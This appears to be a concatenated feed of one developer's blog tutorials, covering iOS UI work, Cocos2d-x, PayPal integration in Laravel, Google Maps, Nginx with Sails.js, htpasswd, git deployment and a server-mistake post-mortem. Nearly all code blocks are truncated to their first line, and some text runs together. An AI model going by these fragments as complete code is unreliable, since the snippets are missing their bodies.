The code above create a simple view with a mask, button and a place holder for the cropped image.
Where the kCropFrame
is a macro I define in pch file. This value I want to use it across multiple viewControllers.
i.e. #define kCropFrame CGRectMake(45, 80, 95, 62)
.
The question here is “How do you know the number?”
width
& height
)x
& y
)Now I got the CGRect
value
CropViewController.h
1 | import <UIKit/UIKit.h> |
CropViewController.m
1 |
|
UIImageView
and attach it to a UIScrollView
, this is to enable the zoomingscrollView
frame
of the mask relative to the root view, then get the frame relative to the main image viewUIScrollView
ViewController.m
1 |
|
Solution 1 is to crop the actual image to oval shape; where Solution 2
remain the image as rectangle, but mask out the UIImageView
to display it as
oval shape. (you uncomment the line and save it to see what is the difference)
3. The delegate method after taking photo, make sure pass the image to the crop view controller.
Test it, you can adjust the main image.
Then the final result will be like
You can download the sample project in my GitHub repo.
References:
]]>Then search for UIRequiredDeviceCapabilities
, most probably you will see
Info.plist
1 | <key>UIRequiredDeviceCapabilities</key> |
It means this app only support for those device which can call.
References:
]]>1 | $ xcodebuild clean -project /path/to/project.xcodeproj -configuration Release -alltargets |
1 | $ xcodebuild archive -project /path/to/project.xcodeproj -scheme "Scheme name" -archivePath /path/to/output |
See the image above, the scheme name you can refer to Xcode project.
E.g. Warranty Reminder
1 | $ xcodebuild -exportArchive -archivePath /path/to/output.xcarchive -exportPath /path/to/output -exportFormat ipa -exportProvisioningProfile "Provisioning Profile Name" |
Regarding the provisioning profile, follow exactly the same as what you see in Xcode.
E.g. iOSTeam Provisioning Profile: com.jslim89.Warranty-Reminder
Note that the output file name without the ipa extension.
You’re done.
I have make this into a shell script, you can download here.
Usage: Just edit the file, instruction is inside. Then run in your terminal
1 | $ chmod ugo+x export.sh |
References:
]]>scrollView
‘s contentSize
upon keyboard appear, and restore to normal when keyboard dismiss.Now the problem in auto layout of scrollView
was the contentSize
is based on it’s subviews. I have figured out a way to do that
In ViewController.m
1 | @interface ViewController () |
In the case above, you have a UIScrollView
in your ViewController, and a UITextField
inside the UIScrollView
.
I remention the problem here, when the textField
on focus, the keyboard will brought up, and the scrollView
‘s contentSize still the same,
the keyboard may blocked the textField
and become invisible, yet it cannot scroll up.
Let’s begin to solve this
translatesAutoresizingMaskIntoConstraints
is set to NO
for all views that wanted to use auto layout.matrics
is actually variables that wanted to use inside the constraints’ visual format.constant
argument) to 0.constant
now is 0.Run it, and it will works as expected. Enjoy :)
]]>First of all, create a physics file with PhysicsEditor. Just drag image(s) to the left pane.
Chipmunk generic (PLIST) - BETA
0.5
to move the anchor point to the centerYou will see the face is highlighted, PhysicsEditor helps you to generate vertices/points of the image.
You can change the tolerance value (by default is 1
), of course, the lower the better, but will be slower (theoretically).
Once you have done, the image is now highlighted with its shape.
Publish it as .plist
file. You have done the part.
Drag the published file to Xcode file pane and select Create folder references
.
It will looks like this.
Before actually use the physics file, let’s try with the default API. Edit HelloWorldScene.cpp
1 | auto spriteBody = PhysicsBody::createBox(sprite->getContentSize()); |
It is rectangle.
Now, add PEShapeCache_X3_0.h and PEShapeCache_X3_0.cpp to project (credit: https://github.com/baibai2013/PhysicsEditor-Loader-for-cocos2d-x-3.0).
Update AppDelegate.cpp, add the physics file you generated just now to cache
1 |
|
Then in HelloWorldScene.cpp
1 |
|
Then finally you get
Although it is not perfect yet, but it basically solve the issue that I faced. Will continue to seek for solution to make it perfect :)
I created a demo project, please refer to Cocos2d-x-PhysicsEditor-demo.
References:
]]>NSLog
. The problem hereNSLog
when don’t want to see the log; add NSLog
when want toThere is a solution, which is CocoaLumberjack. However, I just want to see the message in console,
don’t want such a huch package.
Thus I choose to use macro.
Let’s add the macro in Prefix.pch
1 | ... |
YES
or NO
) at anytimeNSLog
. e.g. JSLog(@"error %@", error);
1 | $ cd /path/to/game |
Now, this has to change the cocos2d‘s core files.
Edit the ./cocos2d/cocos/platform/ios/CCApplication.h
1 | ... |
Then edit ./cocos2d/cocos/platform/ios/CCApplication.mm, add the implementation for that method openURL
1 | ... |
Edit the ./cocos2d/cocos/platform/android/CCApplication.h
1 | ... |
Then edit ./cocos2d/cocos/platform/android/CCApplication.cpp, add the implementation for that method openURL
. This will invoke the native Java method.
1 | ... |
Lastly edit ./cocos2d/cocos/platform/android/java/src/org/cocos2dx/lib/Cocos2dxActivity.java
1 | ... |
You have done.
You can invoke Application::getInstance()->openURL("your url")
. e.g.
MyScene.cpp
1 | switch (Application::getInstance()->getTargetPlatform()) { |
Happy coding :)
Reference:
]]>Edit file composer.json
1 | { |
Update the dependencies
1 | $ php composer.phar update --no-dev |
You can now use the PayPal package in the project.
Add a config file for paypal: app/config/paypal.php
1 |
|
Setup in app/controllers/IndexController.php
1 |
|
Add this to app/routes.php
1 |
|
Update the controller, this method is when you submit the form or checkout shopping cart, then post to this route: app/controllers/IndexController.php
1 |
|
Up to this point, you will see the page above.
Then login & pay.
Before that, when the payment successfully made, it will return this 2 parameters as query string
1 | token=EC-05R25178G5276364N |
Otherwise, ONLY token
when the customer cancel the payment
1 | token=EC-05R25178G5276364N |
app/controllers/IndexController.php
1 |
|
See the DEBUG RESULT there, if you print it out, the output will be
1 | PayPal\Api\Payment Object |
You have done.
If you have problem with live credentials, please read through this section
Click on Dashboard link
Under My apps, click on the app you wanted to use in your project
Scroll down after the Add webhook button, click on the Show link
Then edit app/config/paypal.php, replace client_id & secret with the live credentials, and change the mode to live
My intention of this post is about to share how to integrate PayPal official SDK to Laravel 4.
I’m not a PayPal expert here, those PayPal api, PayPal rules, etc question please refer to PayPal official website.
If you have any feedback or improvement, welcome to comment on this post, or drop me an email.
Thank you.
]]>Have you seen this sort of image before? The first time I saw this I thought this is created using Photoshop, and I also
have no idea how to use this BIG image in the game.
Until… I started to look in the game development, I only know that this is actually created by spritesheet program/app.
Here I will be using TexturePacker.
Why? I have seen many game tutorials are talking about this, I tried it and found that it is very easy to use.
First of all, I’m going to do this in Cocos2d-x engine, so select Cocos2d here.
Now, drag images to the box
Here I drag 3 bird images, and you can see the left pane, there are hero_01.png
, hero_02.png
, hero_03.png
, these are the original
file name.
Once you’ve done, select Publish sprite sheet
It will prompt you twice, one is to save the plist file contains the meta data of the original images such asframe
, offset
, rotated
, etc. It may sound complicated, but no worry, Cocos2d-x will handle it.
The second prompt is to save the merged image.
And you’ve done.
File structure
In AppDelegate.cpp applicationDidFinishLaunching()
method, add
1 | // 1. fix the resolution |
images
to FileUtils
I just name it Hero
. Edit Hero.h
1 |
|
and Hero.cpp
1 |
|
Edit GameScene.cpp, under the init()
method, add the code below right before return
statement
1 | Hero *hero = new Hero(); |
This is to instantiate a Hero object, set the position to center of screen then add to current scene.
Run it and you will get the animated bird, see screenshot below.
Done.
]]>outerViewController
that want to trigger some actions when user touch a button on innerViewController
. A typically example will be ListViewController
& DetailViewController
.
ListViewController.m
1 | DetailViewController *controller = [[DetailViewController alloc] init]; |
DetailViewController.h
1 | ... |
So when user do anything with this DetailViewController
DetailViewController.m
1 | - (void)actionTouched:(UIButton *)sender |
let say touched a button, then invoke the delegate method, so that theListViewController
get notify from DetailViewController
.
DetailViewController.h
1 | - (void)doneSomething:(void (^)(void))actionHandler; |
Create a method signature with an empty block handler.
DetailViewController.m
1 | @interface DetailViewController () |
When user touched on the button, then it invoke the done
block, the doneSomething:
is called by ListViewController
ListViewController.m
1 | DetailViewController *controller = [[DetailViewController alloc] init]; |
References:
]]>First of all, in your app/routes.php
1 |
|
When user enter http://<your url>.com/items
, it will matched and call the getIndex
method in ItemController
class
app/controllers/ItemController.php
1 |
|
app/models/Item.php
1 |
|
Item
and paginate it to n items per pageItem
and extends Eloquent
ORM, it will make your life easyDo you realise there is no current page for pagination? Laravel did it for you. It will passed in the page=3
for
example into the query string, so the paginate
method will get the value from page
(in this case is 3)
and indicate that it is the current selected page.
The problem now is, what if I want to have 2 pagination in a single page?
Assumption:
Let’s take an example, there are 2 tabs of listing, both under the same page/same URL, let’s called it
impression & conversion. Example, I have 999
items in impression, but I have only 44
items
in conversion, on the impression when I click on page 10, it will shows the 101th item to 110th item,
whereas conversion tab shows nothing. You know why? Because both of them taking the same argument from query
string, i.e. page=10
, both of them also look for page 10. What we want is impression page 10, but conversion
remain page 1.
One of the solution that I found out is implement by using AJAX.
app/routes.php
1 |
|
The where
condition is to only match for either impression
or conversion
. Note that
you must put it above the items
. Always put the more precise route to above.
ItemController
app/controllers/ItemController.php
1 |
|
But before that, make sure you create a model class for both impression & conversion just like
what you did for Item.php just now.
app/views/item_type.php
1 | <table class="table"> |
add the section to bottom right before </body>
app/views/items.php
1 | $(function() { |
onclick
event on the pagination link.You have done. See the result
]]>It makes me feel uncomfortable, sweating and stimulate my brain cell until I lost for some time…
However, I’ve learnt some lessons here. Please read all, especially if you’re newbie developer or fresh graduate.
Imagine that during development, your web server suddenly doesn’t work, and you googles the solution for hours. What you’ll do now?
For most of us the answer would be “remove the web server, then reinstall”, right? And most of the time we think we’re genius,
because it was so simple, so fast, so easily solved. But… I did this today on the client’s server…
I’ve tried to setup a project for hours, but don’t know why it doesn’t works. I removed it. YEAH~~~ removed successfully without any
error, but later on when I try to install, it failed, and again, I have no idea why…
Please do remember this, don’t bring whatever habits that you usually did in local machine to production.
“Try this! It works like a charm”
Seen this before? If you visit stackoverflow often, you sure have seen it thousands of times.
1 | $ yum erase ... |
I run this command by referring to one of the stackexchange’s question. Of course, before remove I’ve think before,
but since remove a package we can install it back later easily by yum install
, so I run the command…
The consequence is, yum install
doesn’t work… That moment I was “SHIT!!! What’s wrong with that? What I’ve done…”.
I immediately awake (before that I was a little bit sleepy).
If you have found any solution online, please try it on local machine before apply it on live server.
Previously, I alwasy remind myself that database on live server must be extra careful, especially executing query.
But now, I only realise that when come’s to deletion (or something cannot be undone) must be very very careful.
Yeah, removing a package/program might not affect the process much, and it can be install back easily.
Again, for my case it doesn’t install back easily (in fact, until now still not able to install it back), a lot of
funny/unexpected situation may happen. Eventhough it can install back, but do you know the original configuration?
Can you configure it back exactly same as the original?
Think about it.
Confirm what? I attempt to start the httpd server, but it always failed, no matter how I configure.
Then I run the following command
1 | $ service httpd status |
It shows that the server is not running. Since it does not running and yet it cannot be started. So I remove it.
I never check carefully whether there are other services using it. I should double check with the following
command
1 | $ netstat -tulpn | less |
If I check it first, I may not remove the server.
So, please check find other way(s) (if there are) to double confirm the thing is not running, eventhough
one side shows that it is not using/running, but is always better to double confirm.
From the message above shows that httpd is not running, that means it is not in use.
The above statement is my assumption. It was pretty logic, doesn’t it? Just like “If the door is locked, the light is
off, that means there nobody in the house or everybody in sleep.”, but can it be someone still watching TV with no
light?
Human light to make assumption base on their pass experience, me too. When dealing with other people server, don’t
make assumption, because you’re not familiar with their configuration. What you configure all the time is not what
they configure.
Before I get the root access, I already spent for quite a long time on researching how to install httpd without
root access.
When the time that I get the root access, I immediately ssh to server and thought that I can get
it done in 15 minutes. I was rushing (perhaps is because of overdue), you know, when we’re rushing, our mind
cannot focus/think, once I found the solution (so call) then I straight away uninstall the package.
So when you’re really frustrated, don’t panic, take a break. I’m sure the consequence will be far better than
you’re panic.
“I want to be independent”
Some time, I feel like lack of confidence to get things done. Independent could be a good training for me.
Ya, independent is good. But some time, get an opinion from other perspective may not be bad, especially
get opinion from those who’re more experience than you.
If I discuss with my superior today, this shit won’t happen and this post won’t be existed.
Thus, I advice you that don’t feel shy to ask your superior.
Things that already happened, could not be changed. Time wasn’t reverse. Remember, mistake is a learning
process. Today I made this mistake, hopefully can help you to prevent making the same mistake as mine.
Please remember all the points above.
]]>You can sign up an account
Now you can create api key
Enter Identification Name and save it
username
& password
As the requirement mention that HTTP Basic Authentication is required, thus you need to have a username
& password
Note: you must move your mouse over only you can see the link see auth code
The API key served as username
and Auth code served as password
.
1 |
|
References:
]]>UIWebView
is the choice.Usually we do it in this way
ViewController.m
1 | _webView = [[UIWebView alloc] initWithFrame:CGRectMake(0, 0, 320, 300)]; |
What it will look like
NOTE: the “A button” is just for you to see the difference of different changes of webview
But what if we want it to transparent? Let’s try to set the background to clearColor
ViewController.m
1 | _webView.backgroundColor = [UIColor clearColor]; |
Ooopsss…. Only its background is transparent. Want to make the whole view transparent? Let’s do in this way
ViewController.m
1 | _webView.opaque = NO; |
and see the result
Hmm… it looks better. Now let’s make it smooth, make the whole thing scroll together (html content and the “A button”)
Now, the problem is we need to know how much space (the height of the webView) needed for the html content. One of the way is we can get it thru JavaScript
First, add delegate
to the webView
ViewController.h
1 | @interface ViewController : UIViewController <UIWebViewDelegate> |
ViewController.m
1 | _webView.delegate = self; |
Then implement webViewDidFinishLoad:
1 |
|
Before that, add a <div>
(with a unique ID, in this case I use “main-wrapper”) to wrap the html content, e.g.
1 | [_webView loadHTMLString:[NSString stringWithFormat:@"<div id=\"main-wrapper\">%@</div>div>", html] baseURL:nil]; |
let’s run it and see
Now it looks better, but we cannot see the content if too long, and also overlap with the button. To solve this, let’s add a UIScrollView
in between the webView
and self.view
ViewController.m
1 | _scrollView = [[UIScrollView alloc] initWithFrame:self.view.bounds]; |
Add these lines to bottom of webViewDidFinishLoad:
1 | // adjust the position of the button |
(15 is margin)
See the scroll bar on the right side?
We’re done here. Now we have a smooth scrollable content view
Ahhhhh!!!! One more thing here
The initial height of UIWebView
must not be 0
, e.g.
ViewController.m
1 | _webView = [[UIWebView alloc] initWithFrame:CGRectMake(0, 0, 320, 0)]; // <--- if height is 0 |
The result will be
This is due to document.getElementById('main-wrapper').offsetHeight;
return a wrong value, and I don’t know why (if you know please comment), this took me 1 hours++ to figure out, at lease you must put 1
for the height.
UISearchBar
to UITableView.tableHeaderView
, it shows a borderSo in order to remove the 1px, just
1 | self.searchBar.layer.borderColor = [UIColor yourColor].CGColor; |
The final result will be
References:
]]>Look at the graph above, is that cool?
1 | <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script> |
Notice that I’m using CDN for those library, of course you may host it yourself.
1 | <div id="flot-graph" style="height:210px"></div> |
Simple? Because all the data are populated from javascript.
The Settings here is refer to color, label, effect, etc. Let’s do it one by one
1 | var flot_options = { |
Now we already done the general settings for the graph. Let’s configure bar graph and line graph differently
1 | var line_options = { |
1 | $.ajax({ |
Note that the format for the data should be in this form [x, y]
(i.e. data.user
above)
1 | [ |
You’re done!!!
]]>Developer B doesn’t inform A, thus A continue to work on old repo.
Now, B request A to push the latest commit to the new repo
First of all, add the new repo URL to the project
1 | cd /path/to/project |
Then now A can push a specific commit to the new repo
1 | $ git push neworigin 7300a6130d9447e18a931e898b64eefedea19544:master |
neworigin
refer to the new URL added just now7300a6130d9447e18a931e898b64eefedea19544
is the commit hashmaster
is branch in remote (Bitbucket)References:
]]>switch
statement has break
, and usually we use break
to stop the looping process. In my mind break
& continue
are like brother, usually use inside a loop.I wonder what if continue
inside the switch
statement. So I try it out
1 | for (int i = 0; i < 10; i++) { |
and I get this output
1 | this is 0 |
So you can see here, the continue
skip the loop by 1 turn; where as break
has totally no effect to the loop, but to switch
only
From the their GitHub repo, already got the instruction. Here I want to point out 2 things:
UIImage
1 | NSString *text = @"The text to encode"; |
See the code above, it will crash when convert CGImageRef
to UIImage
.
So change to
1 | UIImage *image = [[UIImage alloc] initWithCGImage:[[ZXImage imageWithMatrix:result] cgimage]]; |
It works now. This is something to do with ARC, checkout this for more info
You can see the margin took out some space. To remove the margin
1 | ... |
Run it again, now it utilise the whole image.
References:
]]>NSLog
to debug all sort of objects.UINavigationBar
background color issue,subviews
one by one. e.g.1 | for (id subview in navBar.subviews) { |
Then I realize I need to go 1 level deeper, I add one more loop inside
1 | for (id subview in navBar.subviews) { |
which is not an effective way
Finally I found this recursiveDescription
magic function to show all subviews recursively
It can’t be invoked by [view recursiveDescription]
, must be using performSelector
. e.g.
1 | NSLog(@"\nNav bar %@",[navBar performSelector:@selector(recursiveDescription)]); |
Result:
1 | Nav bar <CustomNavigationBar: 0x1369bad0; baseClass = UINavigationBar; frame = (0 8; 320 56); transform = [1, 0, 0, 1, 0, -12]; autoresize = W; userInteractionEnabled = NO; gestureRecognizers = <NSArray: 0x1369bff0>; layer = <CALayer: 0x1369bbf0>> |
P/S: Please remove this method before you submit the app to AppStore. This is private API, so there is high chances that your app will be rejected if you don’t remove this method.
References:
]]>In this example, I will set the status bar for each UIViewController
So now go to Info.plist file, and set View controller-based status bar appearance
to YES
I just want to share few cases of dealing with status bar.
Now create the very first (root) view controller with the following content
In JSAppDelegate.m
(I’m using my own prefix JS
), add the lines below
1 | JSMainViewController *mainViewController = [[JSMainViewController alloc] init]; |
In JSMainViewController.m
, add this to viewDidLoad
1 | self.title = @"Light Content"; |
and add this function
1 | - (UIStatusBarStyle) preferredStatusBarStyle |
Run it…Opps… why it still in black text color?
The reason is here, since the main view controller is inside a UINavigationController
, then the status bar will follow the UINavigationController
style.
Now go back to JSAppDelegate
, and change the UINavigationBar
style.
1 | ... |
Run it… It works
UIImageView
not cover up the top positionNow create another UIViewController
, just name it JSTransparentBgViewController
, but hide the UINavigationBar
in this case
So add a function, before the view actually appear, hide the navigation bar
JSTransparentBgViewController.m
1 | - (void)viewWillAppear:(BOOL)animated |
Then in viewDidLoad
, add this
1 | // set a light gray color so that you can see the text on status bar |
You will get a result like this
so now you see that the status bar is not covered up
To fix this, just…. hack it
1 | UIImageView *coverImageView = [[UIImageView alloc] initWithFrame:CGRectMake(0, -20, CGRectGetWidth(scrollView.frame), 300)]; |
change the position-y to -20
(as we already know that height of status bar is 20). Run it
Yeaaaaahh…. DONE :)
You can download the souce code, or visit my GitHub repo. You’re welcome to fork it.
Any suggestions just comment below
References:
]]>Here is to shows you how can you add google map to your web page by JavaScript (not using iframe). Besides, you will also learn about searching, and marker dragging.
Just visit this page, it will shows the steps on how to obtain an API key.
1 | <style> |
Just add the code above to your page, and refresh your browser…tadaaa~ Google Map is appear on your page now.
1 | // ... |
Now, add the block of code after var map = ...
. Then refresh your browser again, then you will see
You can even customize your marker
1 | var marker = new google.maps.Marker({ |
Just add one more line, you will see a different marker. Replace the icon
URL to any URL that you want to show.
Add a search input above the map (or anywhere your prefer)
1 |
|
Then add an event handler, so that when user hit <ENTER>
key, it search
1 |
|
Add 2 more inputs after search box (or anywhere you prefer). In this case use a text box, just for you to see, usually end user don’t want to see this kind of data, is better to keep it hidden. (e.g. <input type="hidden" id="lat" value="3.1234" />
)
1 |
|
Now, you want to set the latitude & longitude when:
Add an event handler to the marker.
1 |
|
Just now we already add an event handler to search remember? Now just add some code to geocoding
function
1 |
|
Lat:
Lng:
References:
]]>To draw the shape above by UIBezierPath
1 | // 1 |
{50, 50}
and you have 6 points in this shape (you can map the index with the image above)CGPath
then add to bezier pathCAShapeLayer
and fill it with colorUIView
‘s layer as sublayerReference:
]]>Create a UIView that fill with color, and leave an empty in center.
This can be accomplish by using CAShapeLayer
.
1 | // 1 |
CAShapeLayer
is subclass of CALayer
), set the path create just now to the layer, then fill it with a color (put whatever color that you like)UIView
s come with a layer)References:
]]>Now we want to setup WordPress manually on shared hosting.
First of all, download the WordPress source files. See the screenshot below
Once completed download, unzip it, and you will see all the source files
FTP is File Transfer Protocol. Means that you need to upload the souce files
to server via FTP.
You will need a FTP client. You can get a free 1, FileZilla is one of the most widely use
FTP client. But in this tutorial I’m using ForkLift.
You can see the pink box there, Server typically is your URL (or more precise is domain name). You will have this
Username & Password after you subscribed the hosting plan. The Port just leave it 21
.
Make sure is inside public_html folder. Then edit the file .htaccess (if you don’t have, create it) with the following content.
1 | <IfModule mod_rewrite.c> |
Remember change it to your domain name (e.g. replace jslim89.com
to yourdomain.com). The line 3 & 4 is when user type in the url
www.jslim89.com, it will redirect to jslim89.com (without www
)
Now go to your browser, type in your URL…
Oopsss!!! What is this? You’re not setup properly.
cPanel & DirectAdmin are kind of web control panel for your hosting.
I’m showing all these in cPanel.
You will get the login info after you subscribe the hosting plan.
First of all, look for this
Then create a database (there is a prefix over there, we cannot change it), make sure its name is unique.
You have to create a database user for this particular database for security purpose, ONE user for ONE database.
Assign the user for the database you’ve just created.
At the end you will see this
Go back to FTP client, look for the file named wp-config-sample.php in your wordpress folder. Rename the file to wp-config.php
Edit the file
Change the settings to what you set in cPanel.
Go to https://api.wordpress.org/secret-key/1.1/salt/, you will get a bunch of “dummy text”
Replace with the text you get from the URL
Add another .htaccess file with the following content to your wordpress folder.
1 | RewriteEngine On |
Now you refresh your browser, you will see a setup page.
The username name is for you to login and post your blog content, so make sure you remember the username & password well.
Make sure you check Allow search engines to index this site. if you want to have more people reach you.
Now click on Install WordPress button, then login with the username you set just now.
You will see the admin panel once successful login.
By default, it comes with 1 post Hello World!
. So if you want to know what end user see, click on View site button on top left corner.
You are done, you can start posting your content now.
References:
]]>You can see the date format
There is no such a format for 2 characters year, so we need to replace through regex.
1 | // 1. |
()
\\
here is to escape the back slash (as we know it is2014
in this case), then we replace the characters in the range(6, 4)
which is the index for 2014
) with the last 2 characters of 2014
e.g.
1 | <div id="btn-wrapper"> |
1 | $(document).ready(function() { |
For jQuery common event like click
, we can use .on() to bind event dynamically.
e.g.
1 | $(document).ready(function() { |
For certain cases, example like jQuery UI sortable, we cannot use on
.
After try & error, I get a solution which is external function.
1 | $(document).ready(function() { |
Below shows a forum web app. A post
can only post by 1 user
, its reply
can reply by many users
post
1 | +-------------------+------------------+------+-----+---------+----------------+ |
reply
1 | +-------------------+------------------+------+-----+---------+----------------+ |
user
1 | +-------------------+------------------+------+-----+---------+----------------+ |
We want to know all topics total_users
, unique_users
, i.e.
1 | +-------------------+------------------+--------------+----------------+ |
1 | SELECT topic.name AS topic_name |
See the 3rd line of the query, we can select item from inner query and passing the value from outer query to it.
]]>I googled for an hour, found some possible solution in Apple Support Communities. But none of them work.
After few reboots for my Macbook, it still not working. Finally it works after I restarted (turn off and turn on the switch) my bluetooth mouse.
LOL…
]]>Red QR code
In order to change the QR code color, 2 steps need to be done
Change the white color to transparent
1 | - (UIImage *)replaceColor:(UIColor*)color inImage:(UIImage*)image withTolerance:(float)tolerance; |
The method above is to change the color given to transparent
Fill a new color to the image. You can use MGImageUtilities library
1 | UIImage *qrcode = [UIImage imageNamed:@"qrcode"]; |
References:
]]>1 | // default countdown time in seconds |
References:
]]>1 | +-----------------+----------------------------------------+ |
The input contains missing numbers which are 1
, 3
, 9
, 10
. Now the mission is to remove the gap in missing numbers.
See the mapping above:
2
there is ONE missing number4
, 5
, 6
, 7
, 8
there are TWO missing number11
, 12
, 13
there are FOUR missing numberCan see the pattern?
Now, lets implement it in PHP
1 |
|
The output $results
will be
1 | Array |
Done :)
]]>To achieve this, Apache .htpasswd helps.
Before that, create a .htaccess to project’s document root (e.g. if the document root is in project/public, then it should located project/public/.htaccess) contains the following content
.htaccess
1 | AuthUserFile /absolute/path/to/your/project/document_root/.htpasswd |
The file is using absolute path, if relative path, it will point to apache document root.
Create a .htpasswd with some users
1 | $ cd /absolute/path/to/your/project/document_root |
Note that the password here is encrypted.
Now you open up your browser, type in the URL, you will see the prompt before you actually see the content
Reference: Password Tutorial
]]>Before that, add a helper function to turn UIColor into UIImage
You may put this code to AppDelegate or anywhere else
1 | + (UIImage *)imageFromColor:(UIColor *)color forSize:(CGSize)size withCornerRadius:(CGFloat)radius |
Then add this to application:didFinishLaunchingWithOptions:
1 | UIColor *backgroundColor = [UIColor greenColor]; |
Remark: Those icon images is in white color
Until this stage, you will get this,
by right it should shows white color, but somehow the icon image has changed.
In order to make it as its original color
1 | JSSettingsViewController *settingsViewController = [[JSSettingsViewController alloc] init]; |
We have to set the UIImage
‘s imageWithRenderingMode
to UIImageRenderingModeAlwaysOriginal
in order for it to always render original image.
NOTE: imageWithRenderingMode
is only applicable for iOS7
Done :)
References:
]]>I’ve discover an easy way to do deployment.
Example: I have a PHP web app hosted on Bitbucket, let say https://jslim89@bitbucket.org/myorganization/my-private-app.git and this project has 3 developers involved. Now I want to deploy on staging server for client to test.
1 | $ ssh root@123.123.123.123 |
1 | mkdir /var/www/mywebapp.com |
The Git URL please don’t use SSH, use HTTPS instead. The reason here is we don’t want to put our private key on server. Besides, there are 3 developers share the same copy.
The last command here you can see I put my username, you can put whatever you want as long as you can remember. Usually what we see is git remote add origin ....
, but in this case different developers may have different URL, e.g. https://dev1@bitbucket.org/myorganization/my-private-app.git. Thus use username rather than origin
1 | $ git pull jslim89 master |
jslim89 here refer to the URL https://jslim89@bitbucket.org/myorganization/my-private-app.git, master refer to remote master branch
They also do the same step with you
1 | git remote add dev1 https://dev1@bitbucket.org/myorganization/my-private-app.git |
index.html
1 | <div id="main-wrapper"> |
I’ve googled for hours, even try to modify the bootstrap.min.js file, it still doesn’t works.
Then I try to bind a “click” event on that button
i.e.
1 | $('.dropdown-toggle').click(function() { |
The alert works on desktop, but has no effect on mobile browser.
Then I try to move the whole chunk of html to the top
i.e.
1 | <div id="main-wrapper"> |
The html above works, then I try move the dropdown menu down to the DOM element level by level.
Finally, I found out this might be the view overlapping issue. Then I realize the .navbar
z-index
was set to 1000. i.e.
1 | .navbar { |
Now, I move the dropdown menu to the original place, then change the css
1 | .pole-content-holder > #pole-heading { |
Just ONE line of code, solve my issue that makes me struggle for hours. This may not be exactly your case,
I’m just share how I debug and found the solution, hope this can be a guideline for you :)
config.php
have to change accordingly.Example file content:
config.php
1 |
|
1 |
|
1 |
|
References:
]]>Thus, here I shows an example on implement lazy loading on iOS app, as well as pull to refresh.
UIViewController
MyListViewController.h
1 | @interface MyListViewController : UIViewController <UITableViewDataSource, UITableViewDelegate> |
MyListViewController.m
1 |
|
Remember to set the autoresizingMask
, e.g.
1 | self.tableView.autoresizingMask = UIViewAutoresizingFlexibleBottomMargin| UIViewAutoresizingFlexibleTopMargin | UIViewAutoresizingFlexibleHeight; |
Otherwise the contentSize of scrollView
will have problem when calling showsInfiniteScrolling = NO;
See the images below:
Not working example
Working example
Done :)
]]>I shows an exmple to host the ipa & plist files on Dropbox. The reason for not host them on my personal website is due to SSL issue. See here
Without https
Open your XCode, then archive the project
Then select distribute
Select Save for Enterprise or Ad Hoc Deployment distribution method
Then choose the provisioning profile that you have selected before Archive
Finally save the ipa file
MyApp.plist
1 |
|
ipa
& plist
files to your Dropbox Public
foldere.g.
1 | Dropbox |
Then send the link over to your beta tester, then they will be able to install via Safari.
]]>This is running on Ubuntu 13.10
Here I would like to use Sails.js framework (version 0.9.13) to create node.js app.
1 | $ sudo apt-get install python-software-properties python g++ make |
Install Sails.js globally
1 | $ sudo npm -g install sails |
Create projects
1 | cd |
Edit the home page for both projects (to differentiate them)
project1/views/home/index.ejs
1 | <h1>This is project 1</h1> |
project2/views/home/index.ejs
1 | <h1>This is second project</h1> |
project1/config/local.js
1 | module.exports = { |
project2/config/local.js
1 | module.exports = { |
In order to make the app run on background, we need forever
1 | $ sudo npm install -g forever |
Now start the app using forever
1 | $ cd ~/public_html/project1 |
Let’s open up your browser, and type localhost:8081
… Oops… it doesn’t work like expected
Let’s check the log
1 | $ forever logs |
See the content of the file
1 |
|
Now, the error tell us that we need to install Sails.js locally
1 | forever stopall # stop all process |
Repeat the same thing on project2
Now open up the browser, it should show up the content.
First, we need Nginx
1 | $ sudo apt-get install nginx |
Configure Nginx to listen to port 80 and forword the request to different app based by the port number
1 | cd /etc/nginx/sites-available/ |
Put the content to sails1.com.conf
1 | server { |
This tell the server that forword the request from sails1.com to http://localhost:8081 (which is the project1)
Just do the same thing for project2
1 | server { |
Enable the config. (In order to make the config file take effect, symlink them to sites-enabled directory)
1 | $ sudo ln -s /etc/nginx/sites-available/sails1.com.conf /etc/nginx/sites-enabled/sails1.com.conf |
Restart Nginx server
1 | $ sudo service nginx restart |
Since I’m testing on local machine, so we need to edit the hosts file, append the content below the hosts file
/etc/hosts
1 | # nginx virtual host |
Basically what we do here is Reverse proxy, Nginx listen to the port 80 and passing the request to different app.
References:
]]>Original images
Result
The existing method in UIImageView
simply won’t work.
To get the result like this
MyViewController.m
1 | - (void)viewDidLoad |
Reference: How to animate the change of image in an UIImageView?
]]>May be you can’t see clearly, zoom it see
We can see 1 pixel darkness. Where the gray area is what I want, the code is
1 | self.navigationController.navigationBar.layer.shadowRadius = 0; |
NOTE: The code above is to draw the gray shadow only
The desired result will be
After zoom
In order to achieve the result
MyRootViewController.m
1 | ... |
You only do this in the rootViewController of the navigationController, then the rest will be the same result.
Source:
]]>-
to plus +
Example
1 | + (void)someMethod:(NSString *)title withMessage:(NSString *)message |
There is no need to conform to UIAlertViewDelegate protocol, without the statement below will also work.
e.g.
1 | @interface ViewController : UIViewController <UIAlertViewDelegate> |
Finally I found the solution which is Full-Text Search.
NOTE: In MySQL 5.5, full text search only applicable on MyISAM, only MySQL 5.6 onward can used in InnoDB
Let say I have 2 tables: book
& category
1 | CREATE TABLE `book` ( |
Before using the full text search, index the columns
1 | ALTER TABLE book ADD FULLTEXT(title, keywords, description); |
Let’s verify that it already in Full Text (e.g. shows book
table’s column)
1 | SELECT index_name, group_concat(column_name) as columns |
Objective: search result must shows the result that match the title
first, then book’s keywords
& description
, followed by category’s name
& description
Let see how the sql look like
1 | SELECT book.* |
The IN BOOLEAN MODE
will return result either 1 or 0.
In the last row (ORDER BY
), there is multiplication, that is weightage
relevance_1 * 3
- the most importantrelevance_2 * 2
- the second importantrelevance_3
- the least important (no multiply anything)So order them descendingly will give the result most important first (higher the number, the more important)
References:
]]>To setup a PHP environment in Mac OS X 10.9:
You can download the latest version here. Then install it.
Bare in mind that by default, MySQL root user has no password, but will set it later
Once completed, launch it
Then close it.
Hit Command ⌘
+ Space key, type in terminal
then hit Enter key.
Create a directory to keep all projects _(e.g. public_html)_
1 | mkdir ~/public_html |
Create a project to that directory
1 | mkdir ~/public_html/project_a |
Create a home page for it
1 | touch ~/public_html/project_a/index.php |
then add the following content
index.php
1 | <!DOCTYPE html> |
For testing purpose, just duplicate the project A
